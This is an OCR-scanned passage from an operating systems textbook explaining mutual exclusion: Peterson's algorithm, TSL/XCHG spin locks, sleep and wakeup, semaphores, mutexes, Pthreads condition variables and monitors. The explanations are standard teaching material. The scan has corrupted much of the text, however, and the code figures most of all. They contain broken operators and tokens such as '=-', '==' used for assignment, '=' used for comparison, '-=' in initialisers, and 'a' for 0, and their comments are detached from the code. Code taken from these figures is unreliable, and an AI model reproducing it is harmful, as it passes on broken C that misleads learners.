waiting used. A lock that uses busy waiting is caned a spin lock. 

When process 0 leaves the critical region, it sets turn to 1 ,  to allow process 1 
to enter its critical region. Suppose that process 1 finishes its critical region quick
ly, so that both processes are in their noncritical regions, with tum set to O. Now 
process 0 executes its whole loop quickly, exiting its critical region and setting 
turn to 1. At this point turn is 1 and both processes are executing in their noncriti
cal regions. 

Suddenly, process 0 finishes its noncritical region and goes back to the top of 
its loop. Unfortunately, it is not permitted to enter its critical region now, because 
tum is 1 and process 1 is busy with its noncritical region. It hangs in its while 
loop until process I sets turn to O. Put differently, taking turns is not a good idea 
when one of the processes is much slower than the other. 

This situation violates condition 3 set out above: process 0 is being blocked by 
a proc�ss not in its critical region. Going back to the spooler directory discussed 
above, if we now associate the critical region with reading and writing the spooler 
directory, process 0 would not be allowed to print another file because process 1 
was doing something else. 

In fact, this solution requires that the two processes strictly alternate in enter
ing their critical regions, for example, in spooling files. Neither one would be perw 
mitted to spool two in a row. While this algorithm does avoid all races, it is not 
really a serious candidate as a solution because it violates condition 3. 

; ,  
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Peterson's Solution 
By combining the idea of taking turns with the idea of lock variables and 

warning variables, a Dutch mathematician, T. Dekker, was the first one to devise 
a software solution to the mutual exclusion problem that does not require strict 
alternation. For a discussion of Dekker'S algorithm, see (Dijkstra, 1965). 

In 1981, G.L. Peterson discovered a much simpler way to achieve mutual 
exclusion, thus rendering Dekker's solution obsolete. Peterson's algorithm is 
shown in Fig. 2-24. This algorithm consists of two procedures written in ANSI C, 
which means that function prototypes should be supplied for all the functions de
fined and used. However, to save space, we will not show the prototypes in this or 
subsequent examples. 

#define FALSE a 
#define TRUE 1 
#define N 2 

jnt turn; 
int interested[NJ; 

void enter_region{lnt process); 
{ 

int other; 

/* number of processes */ 

/* whose turn is it? */ 
/* all values initiaUy 0 (FALSE) */ 

/* process is 0 or 1 */ 

/* number of the other process */ 

other =- 1 - process; /* the opposite of process */ 
interested[process] = TRUE; /* show that you are interested */ 
turn = process; /* set flag */ 
while (turn == process && interested[other] == TRUE) /* nul! statement */ ; 

void leave_region(int process) 
{ 

interested[process] =- FALSE; 

/* process: who is leaving */ 

/* indicate departure from critical region */ 

Figure 2-24. Peterson's solution for achieving mutual exclusion. 

Before using the shared variables (i.e., before entering its critical region), 
each process calls enter _region with its own process number, 0 or 1, as parame
ter. This call will cause it to wait, if need be, until it is safe to enter. After it has 
finished with the shared variables, the process calls leave _region to indicate that 
it is done and to allow the other process to enter, if it so desires. 

Let us see how this solution works. Initially neither process is in its critical re
gion. Now process 0 calls enter .:...region. It indicates its interest by setting its ar
ray element and sets tum to O. Since process 1 is not interested, enter_region rew 
turns immediately. If process 1 now makes a call to enter _region, it will hang 
there until interested[O] goes to FALSE, an event that only happens when process 
o calls leave_region to exit the critical region. 
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Now consider the case that both processes call enter _region almost simultan* 
eously. Both will store their process number in turn. Whichever store is done last 
is the one that counts; the first one is overwritten and lost. Suppose that process 1 
stores last, so tum is 1 .  When both processes come to the whi!e statement, process 
o executes it zero times and enters its critical region. Process 1 190PS and does not 
enter its critical region until process 0 exits its critical region. 

The TSL Instruction 

Now let us look at a proposal that requires a little help from the hardware. 
Some computers, especially those designed with multiple processors in mind, 
have an instruction like 

TSL REGISTER,LOCK 

(Test and Set Lock) that works as follows. It reads the contents of the memory 
word lock into register RX and then stores a nonzero value at the memory address 
lock. The operations of reading the word and storing into it are guaranteed to be 
indivisible-no other processor can access the memory word until the instruction 
is finished. The CPU executing the TSL instruction locks the memory bus to prohi
bit other CPUs from acceSSing memory until it is done. 

It is important to note that locking the memory bus is very different from disa
bling interrupts. Disabling interrupts then performing a read on a memory word 
followed by a write does not prevent a second processor on the bus from ac
cessing the word between the read and the write. In fact, disabling interrupts on 
processor 1 has no effect at all on processor 2. The only way to keep processor 2 
out of the memory until processor 1 is finished is to lock the bus, which requires a 
special hardware facility (basically, a bus line asserting that the bus is locked and 
not available to processors other than the one that locked it). 

To use the TSL instruction, we will use a shared variable, lock, to coordinate 
access to shared memory. When lock is 0, any process may set it to 1 using the 
TSL instruction and then read or write the shared memory. When it is done, the 
process sets lock back to 0 using an ordinary move instruction. 

How can this instruction be used to prevent two processes from simultan
eously entering their critical regions? The solution is given in Fig. 2-25. There a 
four-instruction subroutine in a fictitious (but typical) assembly language is 
shown. The first instruction copies the old value of lock to the register and then 
sets lock to 1.  Then the old value is compared with 0. If it is nonzero, the lock 
was already set, so the program just goes back to the beginning and tests it again. 
Sooner or later it will become ° (when the process currently in its critical region is 
done with its critical region), and the subroutine returns, with the lock set. Clear
ing the lock is very simple. The program just stores a 0 in lock. No special syn
chronization instructions are needed. 
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enter_region: 
TSL REGISTER,LOCK 
CMP REGISTER,#O 
JNE enter_region 
RET 

leave_region: 
MOVE LOCK,#O 
RET 

! copy lock to register and set lock to 1 
! was lock zero? 
I if it was nonzero, lock was set, so loop 
I return to caller; critical region entered 

I store a 0 in lock 
! return to caller 

Figure 2-25. Entering and leaving a critical region using the TSL instruction. 

One solution to the criticaLregion problem is now straightforward. Before en
tering its critical region, a process calls enter _region, which does busy waiting 
until the lock is free; then it acquires the lock and returns. After the critical region 
the process calls leave_region, which stores a 0 in lock. As with all solutions 
based on critical regions, the processes must call enter _region and leave_region 
at the correct times for the method to work. If a process cheats, the mutual exclu
sion will faiL 

An alternative instruction to TSL is XCHG, which exchanges the contents of 
two locations atomically, for example, a register and a memory word. The code is 
shown in Fig. 2-26, and, as can be seen, is essentially the same as the solution 
with TSL. All Intel x86 CPUs use XCHG instruction for lOW-level synchronization. 

enter_region: 
MOVE REGISTER,#1 
XCHG REGISTER, LOCK 
CMP REGISTER,#O 
JNE enter_region 
RET 

leave_region: 
MOVE LOCK,#O 
RET 

! put a 1 in the register 
I swap the contents of the register and lock variable 
! was lock zero? 
I if it was non zero, lock was set, so loop 
I return to caUer; critical region entered 

! store a 0 in lock 
! return to caller 

Figure 2�26. Entering and leaving a critical region using the XCHG instruction. 

2.3.4 Sleep and Wakeup 

Both Peterson's solution and the solutions using TSL or XCHG are correct, but 
both have the defect of requiring busy waiting. In essence, what these solutions 
do is this: when a process wants to enter its critical region, it checks to see if the 
entry is allowed. If it is not, the process just sits in a tight loop waiting until it is. 
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Not only does this approach waste CPU time, but it can also have unexpected 
effects. Consider a computer with two processes, H, with high priority, and L, 
with low priority. The scheduling rules are such that H is run whenever it is in 
ready state. At a certain moment, with L in its critical region, H becomes ready to 
run (e.g., an I/O operation completes). H now begins busy waiting, but since L is 
never scheduled while H is running, L never gets the chance to leave its critical 
region, so H loops forever. This situation is sometimes referred to as the priority 
inversion problem. 

Now let us look at some interprocess communication primitives that block in
stead of wasting CPU time when they are not allowed to enter their critical re
gions. One of the simplest is the pair sleep and wakeup. Sleep is a system call 
that causes the caller to block, that is, be suspended until another process wakes it 
up. The wakeup call has one parameter, the process to be awakened. Alterna
tively, both sleep and wakeup each have one parameter, a memory address used 
to match up sleeps with wakeups. 

The Producer-Consumer Problem 

As an example of how these primitives can be used, let us consider the 
producer-consumer problem (also known as the bounded-buffer problem). 
Two processes share a common, fixed-size buffer. One of them, the producer, puts 
information into the buffer, and the other one, the consumer, takes it out. (It is 
also possible to generalize the problem to have m producers and n consumers, b�t 
we will only consider the case of one producer and one consumer because thIS 
assumption simplifies the solutions.) 

Trouble arises when the producer wants to put a new item in the buffer, but it 
is already full. The solution is for the producer to go to sleep, to be awakened 
when the consumer has removed one or more items. Similarly, if the consumer 
wants to remove an item from the buffer and sees that the buffer is empty, it goes 
to sleep until the producer puts something in the buffer and wakes it up. 

This approach sounds simple enough, but it leads to the same kinds of race 
conditions we saw earlier with the spooler directory. To keep track of the number 
of items in the buffer, we will need a variable, count. If the maximum number of 
items the buffer can hold is N, the producer's code will first test to see if count is 
N. If it is, the producer will go to sleep; if it is not, the producer will add an item 
and increment count. 

The consumer's code is similar: first test count to see if it is O. If it is, go to 
sleep; if it is nonzero, remove an item and decrement the counter. Each of the 
processes also tests to see if the other should be awakened, and if so, wakes it up. 
The code for both producer and consumer is shown in Fig. 2-27. 

To express system calls such as sleep and wakeup in C, we will show them as 
calls to library routines. They are not part of the standard C library but presum
ably would be made available on any system that actually had these system caUs. 
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#define N 100 
int count == 0; 

void producer(void) 
{ 

int item; 

while {TRUE) { 
item == produce_item(}; 
if (count = N) sleep(); 
inserLitem(item); 
count == count + 1 ;  
if (count === 1 )  wakeup(consumer); 

void consumer(void) 
{ 

int item; 

while {TRUE) { 
if (count = 0) sleep(); 
item = remove_item(); 
count := count - 1 ;  
if (count = =  N - 1 )  wakeup(producer); 
consume_item(item); 

/* number of slots in the buffer */ 
/* number of items in the buffer */ 

/* repeat forever */ 
/* generate next item */ 
/* if buffer is full, go to sleep */ 
/* put item in buffer */ 
/* increment count of items in buffer */ 
/* was buffer empty? */ 

/* repeat forever */ 
/* if buffer is empty, got to sleep */ 
/* take item out of buffer */ • 
/* decrement count of items in buffer *I 
/* was buffer full? *! 
/* print item */ 

Figure 2-27. The producer·consumer problem with a fatal race condition. 

The procedures inserLitem and remove _item, which are not shown, handle the 
bookkeeping of putting items into the buffer and taking items out of the buffer. 

Now let us get back to the race condition. It can occur because access to 
count is unconstrained. The following situation could possibly occur. The buffer 
is empty and the consumer has just read count to see if it is O. At that instant, the 
scheduler decides to stop running the consumer temporarily and start running the 
producer. The producer inserts an item in the buffer, increments count, and no
tices that it is now 1 .  Reasoning that count was just 0, and thus the consumer 
must be Sleeping, the producer caUs wakeup to wake the consumer up. 

Unfortunately, the consumer is not yet logically asleep, so the wakeup signal 
is lost When the consumer next runs, it will test the value of count it previously 
read, find it to be 0, and go to sleep. Sooner or later the producer will fill up the 
buffer and also go to sleep. Both will sleep forever. 

The essence of the problem here is that a wakeup sent to a process that is not 
(yet) sleeping is lost. If it were not lost, everything would work. A quick fix is to 
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modify the rules to add a wakeup waiting bit to the picture. When a wake
,
up is 

sent to a process that is still awake, this bit is set. Later, when the process tnes to 
go to sleep, if the wakeup waiting bit is on, it will be turned off,. but the proc�ss 
will stay awake. The wakeup waiting bit is a piggy bank for stonng wakeup SIg
nals. 

While the wakeup waiting bit saves the day in this simple example, it is easy 
to construct examples with three or more processes in which one wakeup waiti�g 
bit is insufficient. We could make another patch and add a second wakeup WaIt
ing bit, or maybe 8 or 32 of them, but in principle the problem is still there. 

2.3.5 Semaphores 

This was the situation in 1965, when E. W. Dijkstra (1965) suggested using an 
integer variable to count the number of wakeups saved for future use. In his pro
posal, a new variable type, which he called a semaphore, was introduced. A 
semaphore could have the value 0, indicating that no wakeups were saved, or 
some positive value if one or more wakeups were pending. 

. . Dijkstra proposed having two operations, down and up (generalIzations of 
sleep and wakeup, respectively). The down operation on a semaphore checks to 
see if the value is greater than O. If so, it decrements the value (Le., uses up one 
stored wakeup) and just continues. If the value is 0, the process is put to. sle�p 
without completing the down for the moment. Checking the value, changmg It, 
and possibly going to sleep, are all done as a single, indivisible atomic action. It 
is guaranteed that once a semaphore operation has started, no other ?rocess

. 
c
.
an 

access the semaphore until the operation has completed or blocked. ThiS atomiCity 
is absolutely essential to solving synchronization problems and avoiding race con
ditions. Atomic actions, in which a group of related operations are either all per
formed without interruption or not performed at aU, are extremely important in 
many other areas of computer science as welL 

The up operation increments the value of the semaphore addressed. If one.or 
more processes were sleeping on that semaphore, unable to complete an earher 
down operation, one of them is chosen by the system (e.g., at random) and is al
lowed to complete its down. Thus, after an up on a semaphore with processes 
sleeping on it, the semaphore win still be 0, but there will be one fewer process 
sleeping on it. The operation of incrementing the semaphore and waking up one 
process is also indivisible. No process ever blocks doing an up, just as no process 
ever blocks doing a wakeup in the earlier modeL 

As an aside, in Dijkstra's original paper. he used the names P and V instead of 
down and up, respectively. Since these have no mnemonic significance to people 
who do not speak Dutch and only marginal significance to those who do-
Proberen (try) and Verhagen (raise, make higher), we will lise the terms down and 
up instead. These were first introduced in the Algol 68 programming language. 
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Solving the Producer-Consumer Problem Using Semaphores 

Semaphores solve the lost-wakeup problem, as shown in Fig. 2-28. To make 
them work correctly, it is essential that they be implemented in an indivisible way. 
The normal way is to implement up and down as system caIls, with the operating 
system briefly disabling all interrupts while it is testing the semaphore, updating 
it, and putting the process to sleep, if necessary. As all of these actions take only 
a few instructions, no harm is done in disabling interrupts. If mUltiple CPUs are 
being used, each semaphore should be protected by a lock variable, with the TSL 
or XCHG instructions used to make sure that only one CPU at a time examines the 
semaphore. 

Be sure you understand that using TSL or XCHG to prevent several CPUs from 
accessing the semaphore at the'same time is quite different from the producer or 
consumer busy waiting for the other to empty or fill the buffer. The semaphore 
operation will only take a few microseconds, whereas the producer or consumer 
might take arbitrarily long. 

This solution uses three semaphores; one called full for counting the number 
of slots that are full, one called empty for counting the number of slots that are 
empty, and one called mutex to make sure the producer and consumer do not ac
cess the buffer at the same time. Full is initially 0, empty is initially equal to the 
number of slots in the buffer, and mutex is initially 1 .  Semaphores tluit are ini
tialized to 1 and used by two or more processes to ensure that only one of them 
can enter its critical region at the same time are called binary semaphores. If 
each process does a down just before entering its critical region and an up just 
after leaving it, mutual exclusion is guaranteed. 

Now that we have a good interprocess communication primitive at our dispo
sal, let us go back and look at the interrupt sequence of Fig. 2-5 again. In a sys
tem using semaphores, the natural way to hide interrupts is to have a semaphore, 
initially set to 0, associated with each I/O device. Just after starting an I/O device, 
the managing process does a down on the associated semaphore, thus blocking 
immediately. When the interrupt comes in, the interrupt handler then does an up 
on the associated semaphore, which makes the relevant process ready to run 
again, In this model, step 5 in Fig. 2-5 consists of doing an up on the device's 
semaphore, so that in step 6 the scheduler will be able to run the device manager. 
Of course, if several processes are now ready, the scheduler may choose to run an 
even more important process next. We will look at some of the algorithms used 
for scheduling later on in this chapter. 

In the example of Fig. 2-28, we have actually used se:maphores in two dif
ferent ways. This difference is important enough to make explicit. The mutex 
semaphore is used for mutual exclusion. It is designed to guarantee that only one 
process at a time will be reading or writing the buffer and the associated variables. 
This mutual exclusion is required to prevent chaos. We will study mutual exclu
sion and how to achieve it in the next section. 
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#define N 100 /* number of slots in the buffer */ 
!* semaphores are a special kind of int */ 
/* controls access to critical region *1 

typedef int semaphore; 
semaphore mutex -= 1 ; 
semaphore empty "" N; 
semaphore full ::: 0; 

/* counts empty buffer slots */ 
/* counts fuU buffer slots */ 

void producer(void) 
{ 

int item; 

whHe (TRUE) ( 
item == produce_item(); 
down(&empty); 
down(&mutex); 
inserUtem(item}; 
up(&mutex); 
up(&full); 

!* TRUE is the constant 1 */ 
/* generate something to put in buffer */ 
/* decrement empty count */ 
1* enter critical region */ 
/* put new item in buffer */ 
/* leave critical region */ 
/* increment count of full slots */ 

void consumer(void) 
( 

int item; 

while (TRUE) { 
down(&full); 
down(&mutex); 
item == remove_item(); 
up(&mutex); 
up(&empty); 
consume_item(item); 

/* infinite loop *1 
/* decrement fun count *f 
/* enter critical region */ 
/* take item from buffer */ 
/* leave critical region */ 
/* increment count of empty slots *1 
1* do something with the item */ 

Figure 2�28. The producer-consumer problem using semaphores. 

The other use of semaphores is for synchronization. The full and empty sem
aphores are needed to guarantee that certain event sequences do or do not occur. 
In this case, they ensure that the producer stops running when the buffer is full, 
and that the consumer stops running when it is empty. This use is different from 
mutual exclusion. 

2.3.6 Mutexes 

When the semaphore's ability to count is not needed, a simplified version of 
the semaphore, called a mutex, is sometimes used. Mutexes are good only for 
managing mutual exclusion to some shared resource or piece of code. They are 
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easy and efficient to implement, which makes them especially useful in thread 
packages that are implemented entirely in user space. 

A mutex is a variable that can be in one of two states: unlocked or locked. �onseque�tly, only 1. bit is required to represent it, but in practice an integer often 
IS used, WIth 0 meanmg unlocked and all other values meaning locked. Two pro� 
cedures are used with mutexes. When a thread (or process) needs access to a crit
ical r�g

.
ion, it �alls

. 
mute�_lock. If the mutex is currently unlocked (meaning that 

the critIcal regIOn IS avaIlable), the call succeeds and the calling thread is free to 
enter the critical region. 

On the other hand, if the mutex is already locked. the calling thread is blocked 
until the thread in the critical region is finished and calls mutex_unlock. If multi� 
pie threads are blocked on the mutex, one of them is chosen at random and allow
ed to acquire the lock. �ecause mutexes are so simple, they can easily be implemented in user space 
prOVided that a TSL or XCHG instruction is available. The code for mutex lock and 
mutex_lmlock for use with a user-level threads package are shown in Fig. 2-29. 
The solution with XCHG is essentially the same. 
mutex_lock: 

TSL REGISTER,MUTEX 
CMP REGISTER,#O 
JZE ok 
CALL thread_yield 
JMP mutex_lock 

ok: RET 

mulex_unlock: 
MOVE MUTEX,#O 
RET 

I copy mutex to register and set mutex to 1 
I was mutex zero? 
I if it was zero, mutex was unlocked, so return 
I mutex is busy; schedule another thread 
I try again 
! return to caller; critical region entered 

I store a 0 in mutex 
I return to caller 

Figure 2·29. Implementation of mutex_Iock and mlltex_lIlllock 

The code of mutex_Iock is similar to the code of enter _region of Fig. 2-25 
but with a crucial difference. When enter _region fails to enter the critical region, 
it keeps testing the lock repeatedly (busy waiting). Eventually, the clock runs out 
and some other process is scheduled to run. Sooner or later the process holding 
the lock gets to run and releases it. 

With (user) threads, the situation is different because there is no clock that 
stops threads that have run too long. Consequently, a thread that tries to acquire a 
lock by busy waiting will loop forever and never acquire the lock because it never 
allows any other thread to run and release the lock. 

That is where the difference between enter _region and mutex_lock comes in. 
When the later fails to acquire a lock, it calls thread_yield to give up the CPU to 
another thread. Consequently there is no busy waiting. When the thread runs the 
next time, it tests the lock again. 
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Since thread_yield is just a call to the thread scheduler in user space, it is 

very fast. As a consequence, neither mutex_lock nor mutex_unlock requires any 

kernel cans. Using them, user-level threads can synchronize entirely in user space 

using procedures that require only a handful of instructions. 
The mutex system that we have described above is a bare-bones set of c�lls. 

With aU software, there is always a demand for more features, and synchrolllza-

rion primitives are no exception. For example, sometimes a thread packa?e offers 

a call mutex_trylock that either acquires the lock or returns a code for fadure, but 

does not block. This call gives the thread the flexibility to decide what to do next 

if there are alternatives to just waiting. 
Up until now there is a subtle issue that we have glossed over lightly b�t 

which is worth at least making explicit. With a user-space threads package there IS 

no problem with multiple threads having access to the same mutex, since
. 
all the 

threads operate in a common address space. However, with most of the earher sol

utions, such as Peterson's algorithm and semaphores, there is an unspoken as

sumption that multiple processes have access to at least some shared memory, 

perhaps only one word, but something. If processes have disjo�nt ad?ress space�, 

as we have consistently said, how can they share the turn vanable m Peterson s 

algorithm, or semaphores or a common buffer? 
There are two answers. First, some of the shared data structures, such as the 

semaphores, can be stored in the kernel and only accessed via s�stem calls. T�is 

approach eliminates the problem. Second, most modern operatmg syste�s (m

eluding UNIX and Windows) offer a way for processes to share some portIOn of 

their address space with other processes. In this way, buffers and other data stn�c

tures can be shared. In the worst case, that nothing else is possible, a shared fIle 

can be used. 
If two or more processes share most or all of their address spaces, the distinc

tion between processes and threads becomes somewhat blurred but is nevertheless 

present. Two processes that share a common address space still have different 

open files, alarm timers, and other per-process properties, whereas the threads 

within a single process share them. And it is always true that multiple processes 

sharing a common address space never have the efficiency of user-level threads 

since the kernel is deeply involved in their management. 

Mutexes in Pthreads 

Pthreads provides a number of functions that can be used to synchronize 
threads. The basic mechanism uses a mutex variable, which can be locked or 
unlocked, to guard each critical region. A thread wishing to enter a critical region 
first tries to lock the associated mutex. If the mutex is unlocked, the thread can 
enter immediately and the lock is atomically set, preventing other threads from 
entering. If the mutex is already locked, the calling thread is blocked until it is 
unlocked. If multiple threads are waiting on the same mutex, when it is unlocked, 

1 
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only one of them is allowed to continue and relock it. These locks are not manda
tory. It is up to the programmer to make sure threads use them correctly. 

The major calls relating to mutexes are shown in Fig. 2-30. As expected, they 
can be created and destroyed. The calls for performing these operations are 
pthread_mutex_init and pthread_mutex_destroy, respectively. They can also be 
locked-by pthread..:...mutex __ lock-which tries to acquire the lock and blocks if 
is already locked. There is also an option for trying to lock a mutex and failing 
with an error code instead of blocking if it is already blocked. This call is 
pthread_mutex_tlylock. This call allows a thread to effectively do busy waiting 
if that is ever needed. Finally, Pthread_mutex_unlock unlocks a rnutex and re
leases exactly one thread if one or more are waiting on it. Mutexes can also have 
attributes, but these are used only for specialized purposes. 

Thread call Description 

Pthread_mutex init Create a mutex 

Pthread mutex_destroy Destroy an existing mutex 

Pthread mutex !ock Acquire a lock or block 

Plhread_mutex_trylock Acquire a lock or fail 

Pthread_muteLunlock Release a lock 

Figure 2·30. Some of the Pthreads calls relating to mutexes. 

In addition to mutexes, pthreads offers a second synchronization mechanism: 
condition variables. Mutexes are good for allowing or blocking access to a criti
cal region. Condition variables allow threads to block due to some condition not 
being met. Almost always the two methods are used together. Let us now look at 
the interaction of threads, mutexes, and condition variables in a bit more detail. 

As a simple example, consider the producer-consumer scenario again: one 
thread puts things in a buffer and. another one takes them out. If the producer dis
covers that there are no more free slots available in the buffer, it has to block until 
one becomes available. Mutexes make it possible to do the check atomically with
out interference from other threads, but having discovered that the buffer is full, 
the producer needs a way to block and be awakened later. This is what condition 
variables allow. 

Some of the calls related to condition variables are shown in Fig. 2-31. As 
you would probably expect, there are calls to create and destroy condition vari
ables. They can have attributes and there are various calls f9r managing them (not 
shown). The primary operations on condition variables are pthread_cond_wait 
and pthread_cond_signal. The fonner blocks the calling thread until some other 
thread signals it (using the latter call). The reasons for blocking and waiting are 
not part of the waiting and signaling protocol, of course. The blocking thread 
often is waiting for the signaling thread to do some work, release some resource, 
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or perform some other activity. Only then can the blocking thread continue. The 
condition variables allow this waiting and blocking to be done atomically. The 
pthread_cond_broadcast call is used when there are multiple threads potentially 
all blocked and waiting for the same signal. 

Thread call Description 

Pthread eond init Create a condition variable 

Pthread_cond destroy Destroy a condition variable 

Pthread cond wait Block waiting for a signa! 

Pthread cond_signal Signa! another thread and wake it up 

Pthread_cond_broadcast Signal multiple threads and wake aU of them 

Figure 2-31. Some of the Pthreads cans relating to condition variables. 

Condition variables and mutexes are always used together. The pattern is for 
one thread to lock a mutex, then wait on a conditional variable when it cannot get 
what it needs. Eventually another thread will signal it and it can continue. The 
pthread_cond_ wait call atomically and atomically unlocks the mutex it is hold
ing. For this reason, the mutex is one of the parameters. 

It is also worth noting that condition variables (unlike semaphores) have no 
memory. If a signal is sent to a condition variable on which no thread is waiting, 
the signal is lost. Programmers have to be careful not to lose signals. 

As an example of how mutexes and condition variables are used, Fig. 2-32 
shows a very simple producer-consumer problem with a single buffer. When the 
producer has filled the buffer, it must wait until the consumer empties it before 
producing the next item. Similarly, when the consumer has removed an item, it 
must wait until the producer has produced another one. While very simple, this 
example illustrates the basic mechanisms. The statement that puts a thread to 
sleep should always check the condition to make sure it is satisfied before con
tinuing, as the thread might have been awakened due to a UNIX signal or some 
other reason. 

2.3.7 Monitors 

With semaphores and mutexes interprocess communication looks easy, right? 
Forget it. Look closely at the order of the downs before inserting or removing 
items from the buffer in Fig. 2-28. Suppose that the two downs in the producer's 
code were reversed in order, so mutex was decremented before empty instead of 
after it. If the buffer were completely fun, the producer would block, with mutex 
set to 0. Consequently, the next time the consumer tried to access the buffer, it 
would do a down on mutex, now 0, and block too. Both processes would stay 
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#include <stdio.h> 
#inc!ude <pthread.h> 

1* how many numbers to produce �I #define MAX 1000000000 
pthread_muteLt the_mutex; 
pthread_cond_t con dc, condp; 
int buffer -= 0; 

void "producer(void �ptr) 
{ int i; 

1* buffer used between producer and consumer * / 

1* produce data */ 

for (i::::: 1 ;  i <::::: MAX; i++) { 
pth

.
read_mutex_IOck(&the_mutex); r get exclusive access to buffer "/ 

while (b�ffer != 0) pthread_cond_wait(&condp, &the_mutex); 
buffer := I; I" put item in buffer */ 
pthread_cond_signal(&condc}; 1* wake up consumer */ 
pthread_muteLunrOCk(&the_mutex);J" release access to buffer "/ 

l 
pthread_exit(O); 

void "consumer(void "ptr) 
{ int i; 

for (i = 1 ;  i <= MAX; i++) { 

/. consume data *J 

pth.read_mutex_Iock(&the_mutex); 1* get exclusive access to buffer *{ 
while (buffer :::::=0 ) pthread_cond_wait(&condc, &the_mutex}; 
buffer = 0; 1* take item out of buffer "/ 
pthread_cond_signal(&condp); /* wake up producer */ 
pthread_muteLunlock(&the_mutex);1* release access to buffer "/ 

l 
pthread_exit(O); 

int main(int argc, char ""'argv) 
( 

pthread_t pro, con; 
pthread_muteLinit(&the_mutex, 0); 
pthread_cond_init(&condc, 0); 
pthread_cond_init(&condp, 0); 
pthread_create(&con, 0, consumer, 0); 
pthread_create(&pro, 0, producer, 0); 
pthread_join(pro, 0); 
pthread_join(con, Q); 
pthread_cond_destroy(&condc); 
pthread_cond_destroy(&condp); 
pthread_mutex_destroy(&the_mutex); 

Figure 2--32. Using threads to solve the producer-consumer problem. 
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blocked forever and no more work would ever be done. This unfortunate situation 
is called a deadlock. We will study deadlocks in detail in Chap. 6. 

This problem is pointed out to show how careful you must be when using 
semaphores. One subtle eITor and everything comes to a grinding halt. It is like 
programming in assembly language, only worse, because the errors are face con
ditions, deadlocks, and other forms of unpredictable and irreproducible behavior. 

To make it easier to write correct programs, Brinch Hansen ( 1973) and Hoare 
(1974) proposed a higher-level synchronization primitive called a monitor. Their 
proposals differed slightly, as described below. A -monitor is a collection of pro
cedures, variables, and data structures that are all grouped together in a special 
kind of module or package. Processes may call the procedures in a monitor when
ever they want to, but they cannot directly access the monitor's internal data 
structures from procedures declared outside the monitor. Figure 2-33 illustrates a 
monitor written in an imaginary language, Pidgin PascaL C cannot be used here 
because monitors are a language concept and C does not have them. 

monitor example 
integer i; 
condition c; 

procedure producer( ); 

end; 

procedure COIIS!ll1ler( ); 

end; 

end monitor; 

Figure 2·33. A monitor. 

Monitors have an important property that makes them useful for achieving 
mutual exclusion: only one process can be active in a monitor at any instant Mon
itors are a programming language construct, so the compiler knows they are spe
cial and can handle calls to monitor procedures differently from other procedure 
calls. Typically. when a process calls a monitor procedure, the first few instruc
tions of the procedure will check to see if any other process is currently active 
within the monitor. If so, the calling process will be suspended until the other 
process has left the monitor. If no other process is using the monitor, the calling 
process may enter. 

It is up to the compiler to implement mutual exclusion on monitor entries, but 
a common way is to use a mutex or a binary semaphore. Because the compiler, 
not the programmer, is arranging for the mutual exclusion, it is much less likely 

I I 
1 I 
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that something will go wrong. In any event, the person writing the monitor does 
not have to be aware of how the compiler arranges for mutual exclusion. It is suf
ficient to know that by turning all the critical regions into monitor procedures, no 
twO processes will ever execute their critical regions at the same time. 

Although monitors provide an easy way to achieve mutual exclusion, as we 
have seen above, that is not enough. We also need a way for processes to block 
when they cannot proceed. In the producer-consumer problem, it is easy enough 
to put all the tests for buffer-full and buffer-empty in monitor procedures, but how 
should the producer block when it finds the buffer full? 

The solution lies in the introduction of condition variables, along with two 
operations on them, wait and signal. When a monitor procedure discovers that it 
cannot continue (e.g., the producer finds the buffer full), it does a wait on some 
condition variable, say, full. This action causes the calling process to block. It 
also .allows another process that had been previously prohibited from entering the 
momtor to enter now. We saw condition variables and these operations in the 
context of Pthreads earlier. 

This othe� proc�ss, for example, the consumer, can wake up its sleeping 
partner. by d�mg a slgn�1 on the condition variable that its partner is waiting on. 
To aVOId havmg two active processes in the monitor at the same time we need a 
rule telling what happens after a Signal. Hoare proposed letting the n�wly awak
ened process run,. s�spending the other one. Brinch Hansen proposed finessing the 
problem by requmng that a process doing a signal must exit the monitor im
mediately. In other words, a Signal statement may appear only as the final state
ment in a monitor procedure. We wiII use Brinch Hansen's proposal because it is 
conceptually simpler and is also easier to implement. If a Signa! is done On a con
di�on variable on which several processes are waiting, only one of them, deter
mmed by the system scheduler, is revived. 

. As an aside, there is also a third solution, not proposed by either Hoare or 
Bnnch Hansen. Thi� is to let the signaler continue to run and allow the waiting 
process to start runnmg only after the signaler has exited the monitor. 

Condition variables are not counters. They do not accumulate signals for later 
us� �he wa� sema�hores

. 
do. Thus if a condition variable is signaled with no one 

waItmg on It, the slgnal rs lost forever. In other words, the wait must come before 
the signal. This rule makes the implementation much simpler. In practice it is not 
a prob�em because it is easy to keep track of the state of each process with vari
abl�s, l� need be. A process that might otherwise do a Signal can see that this op
eratIOn IS not necessary by looking at the variables. 
. A skeleton of the producer-consumer problem with monitors is given in 

FIg. 2-34 in �n imag.i� language, .Pidgin Pascal. The advantage of using Pidgin 
Pascal here IS that It IS pure and SImple and follows the HoarelBrinch Hansen 
model exactly. 

You may be thinking that the operations wait and Signal look similar to sleep 
and wakeup, which we saw earlier had fatal race conditions. Well, they are very 
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monitor ProdllcerColIsumer 
conditionfidl, empty; 
integer coullt; 

procedure insert(irem: flUeger); 
begin 

end; 

if coum =- N then wait(full); 
insert _item(item); 
COllllf := count + 1; 
if COUllt = I then signaJ(empty) 

function remove: i/lleger; 
begin 

if coullt =- 0 then wait(empry); 
remove == relJlove _item; 
COIIIII := coullt - I; 
if COllllt "" N - 1 then signal(full) 

end; 

COllllt:=O; 
end monitor; 

procedure producer; 
begin 

end; 

while tnte dO 
begin 

end 

item =: produce_item; 
ProdllcerCol/sllmer.insert(irem) 

procedure consumer; 
begin 

end; 

while frue do 
begin 

end 

item =- ProdllcerColIsumer.remove; 
consume _item(item) 

CHAP. 2 

Figure 2.34. An outline of the producer-consumer problem with monitors. Only 
one monitor procedure at a time is active. The buffer has N slots. 

similar but with one crucial difference: sleep and wakeup failed because while 
one pr�cess was trying to go to sleep, the other one was tryi�g to wake �t up. With 
monitors, that cannot happen. The automatic mutual exclUSIOn on mom tor proce
dures guarantees that if, say, the producer inside a monitor procedure discovers 
that the buffer is full, it will be able to complete the wait operation without hav

.
ing 

to worry about the possibility that the scheduler may switch to the consumer Just 
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before the wait completes. The consumer will not even be let into the monitor at 
all until the wait is finished and the producer has been marked as no longer run
nable. 

Although Pidgin Pascal is an imaginary language, some real programming 
languages also support monitors, although not always in the form designed by 
Hoare and Brinch Hansen. One such language is Java. Java is an object-oriented 
language that supports user-level threads and also allows methods (procedures) to 
be grouped together into classes. By adding the keyword synchronized to a meth
od declaration, Java guarantees that once any thread has started executing that 
